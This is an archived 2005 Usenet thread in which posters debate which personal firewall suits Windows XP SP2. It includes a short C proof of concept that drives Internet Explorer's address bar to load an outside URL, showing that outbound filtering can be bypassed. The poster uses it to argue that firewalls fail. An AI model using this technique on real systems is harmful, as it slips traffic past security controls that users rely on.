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looking for a firewall

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Anonymous
a b 8 Security
September 3, 2005 7:23:31 PM

Archived from groups: comp.security.firewalls (More info?)

wondering which firewalls are compatible with windows xp home sp2 and avast
antiviris

More about : firewall

Anonymous
a b 8 Security
September 4, 2005 1:45:42 AM

Archived from groups: comp.security.firewalls (More info?)

"jarul" <jarul24@loft.com> wrote in message
news:D fd0nv$bjj$1@domitilla.aioe.org...
> wondering which firewalls are compatible with windows xp home sp2 and
> avast
> antiviris
>

The Windows XP packet filtering FW is compatible.

Duane :) 
Anonymous
a b 8 Security
September 4, 2005 7:33:37 AM

Archived from groups: comp.security.firewalls (More info?)

jarul <jarul24@loft.com> wrote:
> wondering which firewalls are compatible with windows xp home sp2 and avast
> antiviris

A good one is already with your Windows - the Windows-Firewall.

Yours,
VB.
--
"Es kann nicht sein, dass die Frustrierten in Rom bestimmen, was in
deutschen Schlafzimmern passiert".
Harald Schmidt zum "Weltjugendtag"
Related resources
Anonymous
a b 8 Security
September 4, 2005 7:33:38 AM

Archived from groups: comp.security.firewalls (More info?)

In article <431a4ef1@news.uni-ulm.de>, bumens@dingens.org says...
> jarul <jarul24@loft.com> wrote:
> > wondering which firewalls are compatible with windows xp home sp2 and avast
> > antiviris
>
> A good one is already with your Windows - the Windows-Firewall.

He said "Firewall", that excludes Windows Sp2 and it's firewall.

--

spam999free@rrohio.com
remove 999 in order to email me
Anonymous
a b 8 Security
September 4, 2005 7:43:34 AM

Archived from groups: comp.security.firewalls (More info?)

jarul wrote:
> wondering which firewalls are compatible with windows xp home sp2 and avast
> antiviris
>
>
I use the free version of Kerio personal firewall with avast! and
windows xp sp2 on my laptop.
Anonymous
a b 8 Security
September 4, 2005 8:04:28 AM

Archived from groups: comp.security.firewalls (More info?)

"jarul" <jarul24@loft.com> wrote in message
news:D fd0nv$bjj$1@domitilla.aioe.org...
> wondering which firewalls are compatible with windows xp home sp2 and
avast
> antiviris

There is only one answer, Tiny. While it is no longer
free, and costs $99 for the latest version, Tiny can
do a lot more than other software firewalls. I have
tried Zone Alarm, BlackIce, and MacAfee, but
Tiny Firewall is the best. After trying MacAfee,
BlackIce, and ZoneAlarm, I can see where software
firewalls get the sterotype of "toy firewall". Tiny can
do a LOT more. Tiny can, for example, stop Kazaa,
where those other firewalls, and evev hardware
appliances, cannot.

>
>
Anonymous
a b 8 Security
September 4, 2005 12:06:28 PM

Archived from groups: comp.security.firewalls (More info?)

Leythos <void@nowhere.lan> wrote:

> He said "Firewall", that excludes Windows Sp2 and it's firewall.

Any external firewall box should work fine :-)


Juergen Nieveler
--
The side with the simplest uniforms wins.
Anonymous
a b 8 Security
September 4, 2005 5:42:31 PM

Archived from groups: comp.security.firewalls (More info?)

Charles Newman <charlesnewman1@comcast.spam-be-gon.net> wrote:
> > wondering which firewalls are compatible with windows xp home sp2
> There is only one answer, Tiny. While it is no longer
> free, and costs $99 for the latest version, Tiny can
> do a lot more than other software firewalls.

Well, reciting <43193c98@news.uni-ulm.de>

Tiny "Personal Firewall" does not filter all network servers in the
standard configuration. This makes Tiny unusable for Joe Average.

Tiny cannot prevent spyware from sending your personal information
across the Internet; it failed in our tests together with the rest of the
"Personal Firewalls".

Tiny does not make a PC "invisible" or "stealth" in the Internet, as
this is not possible at all.

And:

Tiny "Personal Firewall" installs SYSTEM-Services, which open
windows.

This is a gross error, because this breaches security. Tiny show here,
that they never read Microsoft's design guidlines for system services:

http://msdn.microsoft.com/libr ary/en-us/dllproc/base/interac tive_serv...

For a software, which should enhance security, this design flow means the
declaration of bankruptcy.

Yours,
VB.
--
"Es kann nicht sein, dass die Frustrierten in Rom bestimmen, was in
deutschen Schlafzimmern passiert".
Harald Schmidt zum "Weltjugendtag"
Anonymous
a b 8 Security
September 4, 2005 5:42:32 PM

Archived from groups: comp.security.firewalls (More info?)

"Volker Birk" <bumens@dingens.org> wrote in message
news:431adda7@news.uni-ulm.de...
> Charles Newman <charlesnewman1@comcast.spam-be-gon.net> wrote:
> > > wondering which firewalls are compatible with windows xp home sp2
> > There is only one answer, Tiny. While it is no longer
> > free, and costs $99 for the latest version, Tiny can
> > do a lot more than other software firewalls.
>
> Well, reciting <43193c98@news.uni-ulm.de>
>
> Tiny "Personal Firewall" does not filter all network servers in the
> standard configuration. This makes Tiny unusable for Joe Average.
>
> Tiny cannot prevent spyware from sending your personal information
> across the Internet; it failed in our tests together with the rest of the
> "Personal Firewalls".
>
> Tiny does not make a PC "invisible" or "stealth" in the Internet, as
> this is not possible at all.
>
> And:
>
> Tiny "Personal Firewall" installs SYSTEM-Services, which open
> windows.
>
> This is a gross error, because this breaches security. Tiny show here,
> that they never read Microsoft's design guidlines for system services:
>
> http://msdn.microsoft.com/libr ary/en-us/dllproc/base/interac tive_serv...
>
> For a software, which should enhance security, this design flow means the
> declaration of bankruptcy.
>
> Yours,
> VB.
> --
> "Es kann nicht sein, dass die Frustrierten in Rom bestimmen, was in
> deutschen Schlafzimmern passiert".
> Harald Schmidt zum "Weltjugendtag"

Tiny is the only software firewall, however, that
can block and/or restrict outbound communications.
The only other solution would be to buy a hardware
appliance that would be several times the cost of
Tiny, and would not be as flexible or customizable
as Tiny
Anonymous
a b 8 Security
September 4, 2005 11:00:59 PM

Archived from groups: comp.security.firewalls (More info?)

In article <o7mdnULx4YRSrobeRVn-3g@comcast.com>, charlesnewman1
@comcast.spam-be-gon.net says...
>
> "Volker Birk" <bumens@dingens.org> wrote in message
> news:431adda7@news.uni-ulm.de...
> > Charles Newman <charlesnewman1@comcast.spam-be-gon.net> wrote:
> > > > wondering which firewalls are compatible with windows xp home sp2
> > > There is only one answer, Tiny. While it is no longer
> > > free, and costs $99 for the latest version, Tiny can
> > > do a lot more than other software firewalls.
> >
> > Well, reciting <43193c98@news.uni-ulm.de>
> >
> > Tiny "Personal Firewall" does not filter all network servers in the
> > standard configuration. This makes Tiny unusable for Joe Average.
> >
> > Tiny cannot prevent spyware from sending your personal information
> > across the Internet; it failed in our tests together with the rest of the
> > "Personal Firewalls".
> >
> > Tiny does not make a PC "invisible" or "stealth" in the Internet, as
> > this is not possible at all.
> >
> > And:
> >
> > Tiny "Personal Firewall" installs SYSTEM-Services, which open
> > windows.
> >
> > This is a gross error, because this breaches security. Tiny show here,
> > that they never read Microsoft's design guidlines for system services:
> >
> > http://msdn.microsoft.com/libr ary/en-us/dllproc/base/interac tive_serv...
> >
> > For a software, which should enhance security, this design flow means the
> > declaration of bankruptcy.
> >
> > Yours,
> > VB.
> > --
> > "Es kann nicht sein, dass die Frustrierten in Rom bestimmen, was in
> > deutschen Schlafzimmern passiert".
> > Harald Schmidt zum "Weltjugendtag"
>
> Tiny is the only software firewall, however, that
> can block and/or restrict outbound communications.
> The only other solution would be to buy a hardware
> appliance that would be several times the cost of
> Tiny, and would not be as flexible or customizable
> as Tiny

ZoneAlarm can do the same and it's easier for novices to understand.

--

spam999free@rrohio.com
remove 999 in order to email me
Anonymous
a b 8 Security
September 4, 2005 11:01:00 PM

Archived from groups: comp.security.firewalls (More info?)

"Leythos" <void@nowhere.lan> wrote in message
news:MPG.1d850e7a198741ca989e8e@news-server.columbus.rr.com...
> In article <o7mdnULx4YRSrobeRVn-3g@comcast.com>, charlesnewman1
> @comcast.spam-be-gon.net says...
> >
> > "Volker Birk" <bumens@dingens.org> wrote in message
> > news:431adda7@news.uni-ulm.de...
> > > Charles Newman <charlesnewman1@comcast.spam-be-gon.net> wrote:
> > > > > wondering which firewalls are compatible with windows xp home sp2
> > > > There is only one answer, Tiny. While it is no longer
> > > > free, and costs $99 for the latest version, Tiny can
> > > > do a lot more than other software firewalls.
> > >
> > > Well, reciting <43193c98@news.uni-ulm.de>
> > >
> > > Tiny "Personal Firewall" does not filter all network servers in the
> > > standard configuration. This makes Tiny unusable for Joe Average.
> > >
> > > Tiny cannot prevent spyware from sending your personal information
> > > across the Internet; it failed in our tests together with the rest of
the
> > > "Personal Firewalls".
> > >
> > > Tiny does not make a PC "invisible" or "stealth" in the Internet, as
> > > this is not possible at all.
> > >
> > > And:
> > >
> > > Tiny "Personal Firewall" installs SYSTEM-Services, which open
> > > windows.
> > >
> > > This is a gross error, because this breaches security. Tiny show here,
> > > that they never read Microsoft's design guidlines for system services:
> > >
> > > http://msdn.microsoft.com/libr ary/en-us/dllproc/base/interac
tive_serv...
> > >
> > > For a software, which should enhance security, this design flow means
the
> > > declaration of bankruptcy.
> > >
> > > Yours,
> > > VB.
> > > --
> > > "Es kann nicht sein, dass die Frustrierten in Rom bestimmen, was in
> > > deutschen Schlafzimmern passiert".
> > > Harald Schmidt zum "Weltjugendtag"
> >
> > Tiny is the only software firewall, however, that
> > can block and/or restrict outbound communications.
> > The only other solution would be to buy a hardware
> > appliance that would be several times the cost of
> > Tiny, and would not be as flexible or customizable
> > as Tiny
>
> ZoneAlarm can do the same and it's easier for novices to understand.

The trouble with ZoneAlarm, as with MacAfee
and BlackIce, is that they only protect against
inbound connections, and are not very customizable
to your needs. With Tiny, I can restrict which
applications on my NAT box can go where.
You cannot do that with ZoneAlarm, MacAfee,
or BlackIce. If you are serious about security, and
dont want to spend hundreds of dollars on a
hardware appliance, then Tiny is your best bet.
At the $99 they are now charging, it would be
well worth the price. You can get something that
is just as good as, if not better than, a hardware
appliance, for a fraction of the price. The $99
professional version can also implement filtering
rules by specific user. That is something that
ZoneAlarm, MacAfee, and BlackIce cannot do.
Not even hardware appliances have learnd that
one yet.
Tiny can also instanly notify you of any
attempted activity not in the ruleset, so you can
decide whether to ban or allow it in the future.
This is something the other software firewalls,
as well as hardware appliances, have not learned
yet.
Anonymous
a b 8 Security
September 5, 2005 4:44:16 AM

Archived from groups: comp.security.firewalls (More info?)

In article <ct6dnY9x3v0Aw4beRVn-sw@comcast.com>, charlesnewman1
@spamfilter.home.comcast.net says...
> The trouble with ZoneAlarm, as with MacAfee
> and BlackIce, is that they only protect against
> inbound connections, and are not very customizable
> to your needs. With Tiny, I can restrict which
> applications on my NAT box can go where.
> You cannot do that with ZoneAlarm,

You should look at ZA again, I had no trouble limiting applications from
using the Internet or from doing much of anything with ZA.

--

spam999free@rrohio.com
remove 999 in order to email me
Anonymous
a b 8 Security
September 5, 2005 4:44:17 AM

Archived from groups: comp.security.firewalls (More info?)

"Leythos" <void@nowhere.lan> wrote in message
news:MPG.1d855eeee5a14092989e96@news-server.columbus.rr.com...
> In article <ct6dnY9x3v0Aw4beRVn-sw@comcast.com>, charlesnewman1
> @spamfilter.home.comcast.net says...
> > The trouble with ZoneAlarm, as with MacAfee
> > and BlackIce, is that they only protect against
> > inbound connections, and are not very customizable
> > to your needs. With Tiny, I can restrict which
> > applications on my NAT box can go where.
> > You cannot do that with ZoneAlarm,
>
> You should look at ZA again, I had no trouble limiting applications from
> using the Internet or from doing much of anything with ZA.

However, if you want to use a software firewall
for a network enviroment, Tiny is the way to go.
Tiny can stop a lot of other things the other software
firewalls, as well as hardware appliances, can't. Tiny
is the only firewall, software or hardware, that can
stop Kazaa, without disturupting your other traffic.
Given the ports to have to block to stop Grokster
and Kazaa, Tiny is the only firewall that can
successfully block Kazaa without blocking other
applications. I just simply use two different programs
for the HTTP and Socks proxies on my network.
Tiny is configured to block port 80 and ports
1000-5300 on the Socks proxy, while the HTTP
proxy is allowed to use those ports. I recently
tested that with the latest version of Kazaa, and
they have not, as of the latest release, expanded
the number of ports the program tries, so blocking
beyond 5300, to block Kazaa, it not necessary
at this time.
Anonymous
a b 8 Security
September 5, 2005 4:46:53 AM

Archived from groups: comp.security.firewalls (More info?)

Charles Newman <charlesnewman1@comcast.spam-be-gon.net> wrote:
> Tiny is the only software firewall, however, that
> can block and/or restrict outbound communications.

In our test, it failed, together with the other "Personal Firewalls".
A POC for this you can find here: http://www.dingens.org/breakout.c

Yours,
VB.
--
"Es kann nicht sein, dass die Frustrierten in Rom bestimmen, was in
deutschen Schlafzimmern passiert".
Harald Schmidt zum "Weltjugendtag"
Anonymous
a b 8 Security
September 5, 2005 7:19:50 AM

Archived from groups: comp.security.firewalls (More info?)

Tiny and Kazza --- Kazza and Tiny --- Tiny and Kazza on the machine
*together* in the Sun set somewhere --- please, please, please Newman
you are killing us with this. What is it with you and your obsession with
Tiny and Kazza?

Duane :) 
Anonymous
a b 8 Security
September 7, 2005 12:12:59 AM

Archived from groups: comp.security.firewalls (More info?)

"Volker Birk" <bumens@dingens.org> wrote in message
news:431b795d@news.uni-ulm.de...
> Charles Newman <charlesnewman1@comcast.spam-be-gon.net> wrote:
> > Tiny is the only software firewall, however, that
> > can block and/or restrict outbound communications.
>
> In our test, it failed, together with the other "Personal
Firewalls".
> A POC for this you can find here: http://www.dingens.org/breakout.c
>
> Yours,
> VB.

We're supposed to download a file from a stranger in a newsgroup? No
thanks, VB. I'll just have to remain unenlightened!

charlie R
Anonymous
a b 8 Security
September 7, 2005 4:12:59 AM

Archived from groups: comp.security.firewalls (More info?)

personaly i think the windows firewall is not very good.

there are better (free) options out there:
ZA,kerio or Sygate.

JJ

Volker Birk wrote:
> jarul <jarul24@loft.com> wrote:
>
>>wondering which firewalls are compatible with windows xp home sp2 and avast
>>antiviris
>
>
> A good one is already with your Windows - the Windows-Firewall.
>
> Yours,
> VB.
Anonymous
a b 8 Security
September 7, 2005 4:14:19 AM

Archived from groups: comp.security.firewalls (More info?)

Tiny is imho NOT very suiteble for beginners.
Even for advanced computer users it is not very easy to setu up Tiny.

JJ

Charles Newman wrote:
> "jarul" <jarul24@loft.com> wrote in message
> news:D fd0nv$bjj$1@domitilla.aioe.org...
>
>>wondering which firewalls are compatible with windows xp home sp2 and
>
> avast
>
>>antiviris
>
>
> There is only one answer, Tiny. While it is no longer
> free, and costs $99 for the latest version, Tiny can
> do a lot more than other software firewalls. I have
> tried Zone Alarm, BlackIce, and MacAfee, but
> Tiny Firewall is the best. After trying MacAfee,
> BlackIce, and ZoneAlarm, I can see where software
> firewalls get the sterotype of "toy firewall". Tiny can
> do a LOT more. Tiny can, for example, stop Kazaa,
> where those other firewalls, and evev hardware
> appliances, cannot.
>
>
>>
>
>
Anonymous
a b 8 Security
September 7, 2005 4:15:58 AM

Archived from groups: comp.security.firewalls (More info?)

the new kerio 4.2 can do that also.

JJ

Leythos wrote:
> In article <o7mdnULx4YRSrobeRVn-3g@comcast.com>, charlesnewman1
> @comcast.spam-be-gon.net says...
>
>>"Volker Birk" <bumens@dingens.org> wrote in message
>>news:431adda7@news.uni-ulm.de...
>>
>>>Charles Newman <charlesnewman1@comcast.spam-be-gon.net> wrote:
>>>
>>>>>wondering which firewalls are compatible with windows xp home sp2
>>>>
>>>> There is only one answer, Tiny. While it is no longer
>>>>free, and costs $99 for the latest version, Tiny can
>>>>do a lot more than other software firewalls.
>>>
>>>Well, reciting <43193c98@news.uni-ulm.de>
>>>
>>>Tiny "Personal Firewall" does not filter all network servers in the
>>>standard configuration. This makes Tiny unusable for Joe Average.
>>>
>>>Tiny cannot prevent spyware from sending your personal information
>>>across the Internet; it failed in our tests together with the rest of the
>>>"Personal Firewalls".
>>>
>>>Tiny does not make a PC "invisible" or "stealth" in the Internet, as
>>>this is not possible at all.
>>>
>>>And:
>>>
>>>Tiny "Personal Firewall" installs SYSTEM-Services, which open
>>>windows.
>>>
>>>This is a gross error, because this breaches security. Tiny show here,
>>>that they never read Microsoft's design guidlines for system services:
>>>
>>>http://msdn.microsoft.com/libr ary/en-us/dllproc/base/interac tive_serv...
>>>
>>>For a software, which should enhance security, this design flow means the
>>>declaration of bankruptcy.
>>>
>>>Yours,
>>>VB.
>>>--
>>>"Es kann nicht sein, dass die Frustrierten in Rom bestimmen, was in
>>>deutschen Schlafzimmern passiert".
>>> Harald Schmidt zum "Weltjugendtag"
>>
>> Tiny is the only software firewall, however, that
>>can block and/or restrict outbound communications.
>>The only other solution would be to buy a hardware
>>appliance that would be several times the cost of
>>Tiny, and would not be as flexible or customizable
>>as Tiny
>
>
> ZoneAlarm can do the same and it's easier for novices to understand.
>
Anonymous
a b 8 Security
September 7, 2005 3:30:57 PM

Archived from groups: comp.security.firewalls (More info?)

J007 <JJnospamplease007@dse.nl> wrote:
> personaly i think the windows firewall is not very good.

Why?

> there are better (free) options out there:
> ZA,kerio or Sygate.

I know much things, those are doing worse than the Windows-Firewall,
but nothing, which is better. Please explain.

Yours,
VB.
--
"Es kann nicht sein, dass die Frustrierten in Rom bestimmen, was in
deutschen Schlafzimmern passiert".
Harald Schmidt zum "Weltjugendtag"
Anonymous
a b 8 Security
September 7, 2005 3:33:12 PM

Archived from groups: comp.security.firewalls (More info?)

charlie R <welpctSKIPME@psci.net> wrote:
> > A POC for this you can find here: http://www.dingens.org/breakout.c
> We're supposed to download a file from a stranger in a newsgroup? No
> thanks, VB. I'll just have to remain unenlightened!

I already pasted the content here. But for you, I'll repeat ;-)

---------------------------- snip ------------------------------------------
#include <windows.h>

int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine,
int nCmdShow)
{
HWND ie = FindWindowEx(NULL, NULL, "IEFrame", NULL);
HWND wrk, tb, cbx, cb, url;

if (ie == NULL) {
MessageBox(NULL, "Mach einen IE auf für diesen Test, sonst"
"komm ich noch auf die Idee, und mach selber einen"
"auf ;-)", "Huhu!", MB_OK | MB_ICONEXCLAMATION);

return 0;
}

wrk = FindWindowEx(ie, NULL, "WorkerW", NULL);
tb = FindWindowEx(wrk, NULL, "ReBarWindow32", NULL);
cbx = FindWindowEx(tb, NULL, "ComboBoxEx32", NULL);
cb = FindWindowEx(cbx, NULL, "ComboBox", NULL);
url = FindWindowEx(cb, NULL, "Edit", NULL);

SendMessage(url, WM_SETTEXT, NULL, "http://www.dingens.org/breakout.html");
PostMessage(url, WM_SETFOCUS, 0, 0);
PostMessage(url, WM_KEYDOWN, VK_RETURN, 0);
return 0;
}
---------------------------- snap ------------------------------------------

Yours,
VB.
--
"Es kann nicht sein, dass die Frustrierten in Rom bestimmen, was in
deutschen Schlafzimmern passiert".
Harald Schmidt zum "Weltjugendtag"
Anonymous
a b 8 Security
September 8, 2005 4:56:15 AM

Archived from groups: comp.security.firewalls (More info?)

Charles Newman <charlesnewman1@comcast.nospam.net> wrote:
> This freeware program is
> just simply the BEST tool for managing Usenet,
> on your network.

Beside an own newsserver.

Yours,
VB.
--
"Es kann nicht sein, dass die Frustrierten in Rom bestimmen, was in
deutschen Schlafzimmern passiert".
Harald Schmidt zum "Weltjugendtag"
Anonymous
a b 8 Security
September 8, 2005 4:56:16 AM

Archived from groups: comp.security.firewalls (More info?)

"Volker Birk" <bumens@dingens.org> wrote in message
news:431f700f@news.uni-ulm.de...
> Charles Newman <charlesnewman1@comcast.nospam.net> wrote:
>> This freeware program is
>> just simply the BEST tool for managing Usenet,
>> on your network.
>
> Beside an own newsserver.

Even if you have your own news server, you NEED
this program. Having this program sit between your
news server and your network, lets you filter out
things you dont want on your network.
Anonymous
a b 8 Security
September 8, 2005 4:56:17 AM

Archived from groups: comp.security.firewalls (More info?)

In article <JKKdnavJDNyq6YLeRVn-1A@comcast.com>, charlesnewman1
@comcast.nospam.net says...
>
> "Volker Birk" <bumens@dingens.org> wrote in message
> news:431f700f@news.uni-ulm.de...
> > Charles Newman <charlesnewman1@comcast.nospam.net> wrote:
> >> This freeware program is
> >> just simply the BEST tool for managing Usenet,
> >> on your network.
> >
> > Beside an own newsserver.
>
> Even if you have your own news server, you NEED
> this program. Having this program sit between your
> news server and your network, lets you filter out
> things you dont want on your network.

To bad we can't filter posts by clueless hacks that don't understand
networking, security, or basics of content.

--

spam999free@rrohio.com
remove 999 in order to email me
Anonymous
a b 8 Security
September 8, 2005 12:18:33 PM

Archived from groups: comp.security.firewalls (More info?)

Charles Newman <charlesnewman1@comcast.nospam.net> wrote:
> "Volker Birk" <bumens@dingens.org> wrote in message
> news:431f700f@news.uni-ulm.de...
> > Charles Newman <charlesnewman1@comcast.nospam.net> wrote:
> >> This freeware program is
> >> just simply the BEST tool for managing Usenet,
> >> on your network.
> > Beside an own newsserver.
> Even if you have your own news server, you NEED
> this program.

I cannot see that.

> Having this program sit between your
> news server and your network, lets you filter out
> things you dont want on your network.

This is done by subscribing hierarchies with the news-server.

Yours,
VB.
--
"Es kann nicht sein, dass die Frustrierten in Rom bestimmen, was in
deutschen Schlafzimmern passiert".
Harald Schmidt zum "Weltjugendtag"
!